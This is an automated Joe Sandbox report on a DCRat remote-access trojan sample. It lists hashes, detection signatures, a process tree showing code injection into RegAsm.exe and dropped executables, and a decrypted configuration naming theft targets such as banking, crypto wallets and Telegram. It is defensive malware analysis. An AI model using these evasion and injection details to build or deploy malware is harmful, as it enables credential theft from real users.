Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:file.exe
Analysis ID:1470635
MD5:0124015421e8b708e3ff67e875ae0338
SHA1:6af22c992107e7fa1672d5e61a0254c998b4874e
SHA256:4c73b6e6708555b4764c9867e8158bef571c0610e5e9dbdd56bca798b6d4813b
Tags:exe
Infos:

Detection

DCRat
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Antivirus detection for dropped file
Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
Snort IDS alert for network traffic
Yara detected DCRat
.NET source code contains potential unpacker
.NET source code contains very large strings
AI detected suspicious sample
Allocates memory in foreign processes
Contains functionality to inject code into remote processes
Injects a PE file into a foreign processes
Machine Learning detection for dropped file
Machine Learning detection for sample
Queries sensitive Plug and Play Device Information (via WMI, Win32_PnPEntity, often done to detect virtual machines)
Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)
Sample uses string decryption to hide its real strings
Tries to harvest and steal browser information (history, passwords, etc)
Writes to foreign memory regions
AV process strings found (often used to terminate AV products)
Abnormal high CPU Usage
Allocates memory with a write watch (potentially for evading sandboxes)
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Contains functionality to call native functions
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to communicate with device drivers
Contains functionality to query CPU information (cpuid)
Contains functionality to query locales information (e.g. system language)
Contains functionality to read the PEB
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates a window with clipboard capturing capabilities
Detected potential crypto function
Dropped file seen in connection with other malware
Drops PE files
Drops files with a non-matching file extension (content does not match file extension)
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
Found inlined nop instructions (likely shell or obfuscated code)
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
Internet Provider seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
PE file contains executable resources (Code or Archives)
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Uses 32bit PE files
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

  • System is w10x64
  • file.exe (PID: 7136 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 0124015421E8B708E3FF67E875AE0338)
    • conhost.exe (PID: 7124 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • RegAsm.exe (PID: 3624 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)
      • h7xZry2ICs.exe (PID: 4296 cmdline: "C:\Users\user\AppData\Roaming\h7xZry2ICs.exe" MD5: F3EDFF85DE5FD002692D54A04BCB1C09)
        • conhost.exe (PID: 6892 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • qyKnQ3XZNg.exe (PID: 3320 cmdline: "C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exe" MD5: FC574CEF0F536CFEF8E2466564F3E536)
        • cmd.exe (PID: 6176 cmdline: "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\c50EBnOxbg.bat" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
          • conhost.exe (PID: 5236 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
          • chcp.com (PID: 6552 cmdline: chcp 65001 MD5: 33395C4732A49065EA72590B14B64F32)
          • w32tm.exe (PID: 1188 cmdline: w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2 MD5: 81A82132737224D324A3E8DA993E2FB5)
          • buTEJZlOSIruGihHI.exe (PID: 7136 cmdline: "C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe" MD5: FC574CEF0F536CFEF8E2466564F3E536)
  • cleanup

Malware Threat Intel

Provided by

NameDescriptionAttributionBlogpost URLsLink
DCRatDCRat is a typical RAT that has been around since at least June 2019.No Attributionhttps://malpedia.caad.fkie.fraunhofer.de/details/win.dcrat

Malware Configuration

⊘No configs have been found

Yara Signatures

Dropped Files

SourceRuleDescriptionAuthorStrings
C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeJoeSecurity_DCRat_1Yara detected DCRatJoe Security
    C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exeJoeSecurity_DCRat_1Yara detected DCRatJoe Security

      Memory Dumps

      SourceRuleDescriptionAuthorStrings
      0000000B.00000002.4163028473.0000000005C7C000.00000004.00000800.00020000.00000000.sdmpJoeSecurity_DCRat_1Yara detected DCRatJoe Security
        00000005.00000000.1733919550.00000000003B2000.00000002.00000001.01000000.00000006.sdmpJoeSecurity_DCRat_1Yara detected DCRatJoe Security
          0000000B.00000002.4163028473.0000000005FBB000.00000004.00000800.00020000.00000000.sdmpJoeSecurity_DCRat_1Yara detected DCRatJoe Security
            0000000B.00000002.4163028473.0000000005DDA000.00000004.00000800.00020000.00000000.sdmpJoeSecurity_DCRat_1Yara detected DCRatJoe Security
              00000002.00000002.1734631680.0000000000400000.00000040.00000400.00020000.00000000.sdmpJoeSecurity_DCRat_1Yara detected DCRatJoe Security
                Click to see the 4 entries

                Unpacked PEs

                SourceRuleDescriptionAuthorStrings
                2.2.RegAsm.exe.436060.0.unpackJoeSecurity_DCRat_1Yara detected DCRatJoe Security
                  2.2.RegAsm.exe.436060.0.raw.unpackJoeSecurity_DCRat_1Yara detected DCRatJoe Security
                    5.0.qyKnQ3XZNg.exe.3b0000.0.unpackJoeSecurity_DCRat_1Yara detected DCRatJoe Security
                      2.2.RegAsm.exe.400000.1.raw.unpackJoeSecurity_DCRat_1Yara detected DCRatJoe Security
                        2.2.RegAsm.exe.400000.1.unpackJoeSecurity_DCRat_1Yara detected DCRatJoe Security

                          Sigma Signatures

                          ⊘No Sigma rule has matched

                          Snort Signatures

                          Timestamp:07/10/24-09:06:16.615989
                          SID:2048095
                          Source Port:49731
                          Destination Port:80
                          Protocol:TCP
                          Classtype:A Network Trojan was detected

                          Joe Sandbox Signatures

                          Click to jump to signature section

                          Show All Signature Results

                          AV Detection

                          barindex
                          Antivirus detection for dropped file
                          Source: C:\Users\user\Desktop\KynqlyEe.logAvira: detection malicious, Label: TR/PSW.Agent.qngqt
                          Source: C:\Users\user\Desktop\iUznwWYk.logAvira: detection malicious, Label: HEUR/AGEN.1300079
                          Source: C:\Users\user\AppData\Local\Temp\c50EBnOxbg.batAvira: detection malicious, Label: BAT/Delbat.C
                          Source: C:\Users\user\Desktop\qOmVSEOE.logAvira: detection malicious, Label: HEUR/AGEN.1362695
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeAvira: detection malicious, Label: HEUR/AGEN.1309961
                          Source: C:\Users\user\Desktop\SsDyjNNO.logAvira: detection malicious, Label: HEUR/AGEN.1362695
                          Source: C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exeAvira: detection malicious, Label: HEUR/AGEN.1309961
                          Source: C:\Users\user\Desktop\GYbsQreY.logAvira: detection malicious, Label: TR/PSW.Agent.qngqt
                          Source: C:\Users\user\Desktop\GpiKfMYa.logAvira: detection malicious, Label: HEUR/AGEN.1300079
                          Source: C:\Users\user\Desktop\hXYfaWJp.logAvira: detection malicious, Label: HEUR/AGEN.1300079
                          Source: C:\Users\user\Desktop\DnwbJdUf.logAvira: detection malicious, Label: HEUR/AGEN.1300079
                          Multi AV Scanner detection for dropped file
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeVirustotal: Detection: 63%Perma Link
                          Source: C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exeVirustotal: Detection: 63%Perma Link
                          Source: C:\Users\user\Desktop\AwFlCgTm.logVirustotal: Detection: 8%Perma Link
                          Source: C:\Users\user\Desktop\DnwbJdUf.logVirustotal: Detection: 21%Perma Link
                          Source: C:\Users\user\Desktop\GYbsQreY.logReversingLabs: Detection: 70%
                          Source: C:\Users\user\Desktop\GYbsQreY.logVirustotal: Detection: 69%Perma Link
                          Source: C:\Users\user\Desktop\GZESsXxn.logVirustotal: Detection: 9%Perma Link
                          Source: C:\Users\user\Desktop\GpiKfMYa.logVirustotal: Detection: 14%Perma Link
                          Source: C:\Users\user\Desktop\JKjizlIg.logVirustotal: Detection: 12%Perma Link
                          Source: C:\Users\user\Desktop\JfZBmJZU.logVirustotal: Detection: 7%Perma Link
                          Source: C:\Users\user\Desktop\KynqlyEe.logReversingLabs: Detection: 70%
                          Source: C:\Users\user\Desktop\KynqlyEe.logVirustotal: Detection: 69%Perma Link
                          Source: C:\Users\user\Desktop\OKwaGAoa.logVirustotal: Detection: 8%Perma Link
                          Source: C:\Users\user\Desktop\SsDyjNNO.logVirustotal: Detection: 7%Perma Link
                          Source: C:\Users\user\Desktop\YlgXMtSC.logVirustotal: Detection: 24%Perma Link
                          Source: C:\Users\user\Desktop\dghoTZIw.logVirustotal: Detection: 8%Perma Link
                          Multi AV Scanner detection for submitted file
                          Source: file.exeVirustotal: Detection: 58%Perma Link
                          Source: file.exeReversingLabs: Detection: 52%
                          AI detected suspicious sample
                          Source: Submited SampleIntegrated Neural Analysis Model: Matched 100.0% probability
                          Machine Learning detection for dropped file
                          Source: C:\Users\user\Desktop\JfZBmJZU.logJoe Sandbox ML: detected
                          Source: C:\Users\user\Desktop\KynqlyEe.logJoe Sandbox ML: detected
                          Source: C:\Users\user\Desktop\iUznwWYk.logJoe Sandbox ML: detected
                          Source: C:\Users\user\Desktop\qOmVSEOE.logJoe Sandbox ML: detected
                          Source: C:\Users\user\Desktop\AwFlCgTm.logJoe Sandbox ML: detected
                          Source: C:\Users\user\Desktop\tzSlZRZx.logJoe Sandbox ML: detected
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeJoe Sandbox ML: detected
                          Source: C:\Users\user\Desktop\SsDyjNNO.logJoe Sandbox ML: detected
                          Source: C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exeJoe Sandbox ML: detected
                          Source: C:\Users\user\Desktop\dghoTZIw.logJoe Sandbox ML: detected
                          Source: C:\Users\user\Desktop\GYbsQreY.logJoe Sandbox ML: detected
                          Source: C:\Users\user\Desktop\GpiKfMYa.logJoe Sandbox ML: detected
                          Source: C:\Users\user\Desktop\OKwaGAoa.logJoe Sandbox ML: detected
                          Machine Learning detection for sample
                          Source: file.exeJoe Sandbox ML: detected
                          Sample uses string decryption to hide its real strings
                          Source: 5.0.qyKnQ3XZNg.exe.3b0000.0.unpackString decryptor: {"0":[],"d1159ac1-2243-45e3-9bad-55df4f7732e9":{"_0":"crypto;bank;authorization;account;steam;game;telegram;nft;wallet","_1":"1500","_2":"15","_3":"True"}}
                          Source: 5.0.qyKnQ3XZNg.exe.3b0000.0.unpackString decryptor: ["Y5uqK0dVMbI6kN4NvHQseRoUjKsEUUUHREiPSrmKlDFWPm26MQoXsctGQZG9HZB2GApgpo5EfGGaMSF7Sw2Dp7YyUb82kmCMCMPO6VQhVk2mWT48UJrVg8NJm0LNqCd2","189233d4cfa745de5e66bd22be976afa9227ece1dec487230abbb1367695e97e","0","TEST_1","1","5","5","WyIyIiwie1NZU1RFTURSSVZFfS9Vc2Vycy97VVNFUk5BTUV9L0FwcERhdGEvTG9jYWwvIiwiNSJd","WyIxIiwiV3lJaUxDSWlMQ0psZVVsM1NXcHZhV1V4VGxwVk1WSkdWRlZTVTFOV1drWm1VemxXWXpKV2VXTjVPR2xNUTBsNFNXcHZhV1JJU2pGYVUwbHpTV3BKYVU5cFNqQmpibFpzU1dsM2FVMTVTVFpKYmxKNVpGZFZhVXhEU1RCSmFtOXBaRWhLTVZwVFNYTkphbFZwVDJsS01HTnVWbXhKYVhkcFRtbEpOa2x1VW5sa1YxVnBURU5KTTBscWIybGtTRW94V2xOSmMwbHFaMmxQYVVvd1kyNVdiRWxwZDJsUFUwazJTVzVTZVdSWFZXbE1RMGw0VFVOSk5rbHVVbmxrVjFWcFRFTkplRTFUU1RaSmJsSjVaRmRWYVV4RFNYaE5hVWsyU1c1U2VXUlhWV2xNUTBsNFRYbEpOa2x1VW5sa1YxVnBURU5KZUU1RFNUWkpibEo1WkZkVmFXWlJQVDBpWFE9PSJd"]
                          Source: file.exeStatic PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
                          Source: file.exeStatic PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
                          Source: Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.0000000005034000.00000004.00000800.00020000.00000000.sdmp
                          Source: Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.0000000002E31000.00000004.00000800.00020000.00000000.sdmp
                          Source: Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.0000000004C6F000.00000004.00000800.00020000.00000000.sdmp
                          Source: Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.0000000005305000.00000004.00000800.00020000.00000000.sdmp
                          Source: Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.00000000053E5000.00000004.00000800.00020000.00000000.sdmp
                          Source: Binary string: xC:/Users/user\AppData\Local\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.0000000004DE1000.00000004.00000800.00020000.00000000.sdmp
                          Source: Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.0000000005305000.00000004.00000800.00020000.00000000.sdmp
                          Source: Binary string: fC:/Users/user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.0000000003831000.00000004.00000800.00020000.00000000.sdmp
                          Source: Binary string: ~C:/Users/user\AppData\Local\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.0000000004DE1000.00000004.00000800.00020000.00000000.sdmp
                          Source: Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.0000000004552000.00000004.00000800.00020000.00000000.sdmp
                          Source: Binary string: mountvol.pdbGCTL source: RegAsm.exe, 00000002.00000002.1734631680.0000000000400000.00000040.00000400.00020000.00000000.sdmp, h7xZry2ICs.exe, 00000003.00000002.1735557964.00007FF60D7F4000.00000002.00000001.01000000.00000005.sdmp, h7xZry2ICs.exe, 00000003.00000000.1732944489.00007FF60D7F4000.00000002.00000001.01000000.00000005.sdmp, h7xZry2ICs.exe.2.dr
                          Source: Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.0000000005034000.00000004.00000800.00020000.00000000.sdmp
                          Source: Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.0000000004552000.00000004.00000800.00020000.00000000.sdmp
                          Source: Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.0000000004552000.00000004.00000800.00020000.00000000.sdmp
                          Source: Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.0000000005305000.00000004.00000800.00020000.00000000.sdmp
                          Source: Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.0000000002E31000.00000004.00000800.00020000.00000000.sdmp
                          Source: Binary string: nC:/Users/user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.0000000003831000.00000004.00000800.00020000.00000000.sdmp
                          Source: Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.00000000056EB000.00000004.00000800.00020000.00000000.sdmp
                          Source: Binary string: mC:/Users/user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.0000000003FFC000.00000004.00000800.00020000.00000000.sdmp
                          Source: Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.0000000004FAC000.00000004.00000800.00020000.00000000.sdmp
                          Source: Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.00000000056EB000.00000004.00000800.00020000.00000000.sdmp
                          Source: Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.0000000004C6F000.00000004.00000800.00020000.00000000.sdmp
                          Source: Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.0000000005893000.00000004.00000800.00020000.00000000.sdmp
                          Source: Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.00000000058E5000.00000004.00000800.00020000.00000000.sdmp
                          Source: Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.0000000004FAC000.00000004.00000800.00020000.00000000.sdmp
                          Source: Binary string: vC:/Users/user\AppData\Local\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.0000000004DE1000.00000004.00000800.00020000.00000000.sdmp
                          Source: Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.0000000005034000.00000004.00000800.00020000.00000000.sdmp
                          Source: Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.0000000002E31000.00000004.00000800.00020000.00000000.sdmp
                          Source: Binary string: lC:/Users/user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.0000000003831000.00000004.00000800.00020000.00000000.sdmp
                          Source: Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.0000000004FAC000.00000004.00000800.00020000.00000000.sdmp
                          Source: Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.0000000004552000.00000004.00000800.00020000.00000000.sdmp
                          Source: Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.0000000005893000.00000004.00000800.00020000.00000000.sdmp
                          Source: Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.0000000004552000.00000004.00000800.00020000.00000000.sdmp
                          Source: Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.0000000005034000.00000004.00000800.00020000.00000000.sdmp
                          Source: Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.0000000004552000.00000004.00000800.00020000.00000000.sdmp
                          Source: Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.0000000004C6F000.00000004.00000800.00020000.00000000.sdmp
                          Source: Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.0000000004FAC000.00000004.00000800.00020000.00000000.sdmp
                          Source: Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.0000000005034000.00000004.00000800.00020000.00000000.sdmp
                          Source: Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.0000000004552000.00000004.00000800.00020000.00000000.sdmp
                          Source: Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.0000000004552000.00000004.00000800.00020000.00000000.sdmp
                          Source: Binary string: C:/Users/user\Local Settings\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.0000000003FFC000.00000004.00000800.00020000.00000000.sdmp
                          Source: Binary string: eC:/Users/user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.0000000003FFC000.00000004.00000800.00020000.00000000.sdmp
                          Source: Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.0000000004DE1000.00000004.00000800.00020000.00000000.sdmp
                          Source: Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.0000000004DE1000.00000004.00000800.00020000.00000000.sdmp
                          Source: Binary string: mountvol.pdb source: RegAsm.exe, RegAsm.exe, 00000002.00000002.1734631680.0000000000400000.00000040.00000400.00020000.00000000.sdmp, h7xZry2ICs.exe, 00000003.00000002.1735557964.00007FF60D7F4000.00000002.00000001.01000000.00000005.sdmp, h7xZry2ICs.exe, 00000003.00000000.1732944489.00007FF60D7F4000.00000002.00000001.01000000.00000005.sdmp, h7xZry2ICs.exe.2.dr
                          Source: Binary string: |C:/Users/user\AppData\Local\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.0000000004DE1000.00000004.00000800.00020000.00000000.sdmp
                          Source: Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.0000000005305000.00000004.00000800.00020000.00000000.sdmp
                          Source: Binary string: gC:/Users/user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.0000000003FFC000.00000004.00000800.00020000.00000000.sdmp
                          Source: Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.00000000058E5000.00000004.00000800.00020000.00000000.sdmp
                          Source: Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.0000000004DE1000.00000004.00000800.00020000.00000000.sdmp
                          Source: Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.00000000058E5000.00000004.00000800.00020000.00000000.sdmp
